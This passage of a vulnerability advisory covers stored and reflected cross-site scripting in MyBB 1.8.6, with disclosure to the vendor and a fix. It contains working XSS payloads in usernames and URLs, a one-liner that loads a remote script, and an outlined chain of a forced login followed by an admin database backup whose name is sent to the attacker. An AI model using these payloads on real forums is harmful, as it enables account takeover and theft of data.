MyBB 1.8.6 – Cross-Site Scripting

-> A right-click will trigger the code

Enter something:

-> Input into the field will trigger the code

-> A click on submit will trigger the code There are various other attributes which may also work, such as onsearch, onkeydown, onkeyup, ondrag, onscroll, oncopy, and so on. Other attributes such as onMouseOver or onFocus are filtered out. XSS 3: Persistent XSS - Username (depending on forum settings) CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N Description: The username is echoed unencoded in the user area. As the login does not have CSRF protection and as an admin can be logged into the admin area with a different account than the one they are logged into the forum, a persistent XSS vulnerability in the user area can be exploited. However, successful exploitation most likely requires a username length of at least 43 characters, which is more than the default settings allow. Simple Proof of Concept: 1. register user with name f" onmouseover="alert(1)" b=" 2. login and visit http://localhost/mybb_1805/Upload/usercp.php 3. hover over the avatar The simple proof of concept can be improved to allow successful exploitation. It is not required for the victim to hover over the avatar or interact with the webpage in any way: 1. As username, use: f" onerror="alert(1)" b=" 2. Set an avatar, and use a URL as source (not an image upload) 3. Delete the image from the remote host, making it unavailable, thus triggering an error and executing the injected code. Possible Payloads: Loading a script with vanilla javascript takes a lot more characters than are allowed in a username by default: "onerror="s=document.createElement('script');s.src='http://localhost/s.js'; document.getElementById('top').appendChild(s)" As jQuery is loaded, this can be optimized: "onerror="$.getScript('http://aa.bc/s.js') Executing the payload for a victim: The attack does not require the victim to not be logged in as normal user, as one can login even when already logged in. The login as a normal user also does not affect the login as admin. Thus, an attacker could use the following payload to log a victim in and redirect them to the site containing the payload:

It will automatically log the victim in and redirect them to the page that triggers the script execution. No action of the victim is required. The loaded script could for example perform a backup of the database and then send the attacker the name of the backup, as backups are stored in a public directory. XSS 4: Persistent XSS - Post Attachment (depending on server settings) CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N Description: Attachments are uploaded to a public directory, and their extension is changed to .attach. Files with extension .attach that contain HTML code are interpreted as HTML files by some default server configurations (for example Apache). Additionally, the directory where the files are uploaded to does not prevent directory listing via an index.html file as all the other directories of MyBB do. Because of this, an attacker can find the name of the file and send it to a victim. Once the victim visits the link, the JavaScript code in the file would execute. Proof of Concept: 1. upload HTML file containing 2. find file located at /mybb_1805/Upload/uploads/YYYMM/ RANDOM_STRING.attach. The YYYMM directory is not protected against directory browsing via an index.php or index.html file like most other directories of MyBB, which means depending on the server configuration, the file can easily be found 3. send admin there XSS 5: Reflected XSS - Account Activation CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N Description: The account activation form echoes a given code unencoded to the user, resulting in reflected XSS. Proof of Concept: http://localhost/mybb_1806/Upload/member.php?action=activate&uid=-1&code="> "> XSS 7: Reflected CSS Injection CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N Description: When displaying an error, MyBB echoes user input in a style context, allowing an attacker to inject CSS. With this, it may be possible to change the look of the website or extract information, and it may lead to XSS in older browsers. Proof of Concept: This script submits a search, which will trigger an SQL error because of the non-existing author. All it does then is change the background color of the error report to black to show the existence of the injection:

4. Solution To mitigate this issue please upgrade at least to version 1.8.7: http://resources.mybb.com/downloads/mybb_1807.zip Please note that a newer version might already be available. 5. Report Timeline 01/29/2016 Informed Vendor about Issue 02/26/2016 Vendor requests more time 03/11/2016 Vendor releases fix 09/15/2016 Disclosed to public Blog Reference: https://www.curesec.com/blog/article/blog/MyBB-186-XSS-160.html -- blog: https://www.curesec.com/blog tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Josef-Orlopp-Straße 54 10365 Berlin, Germany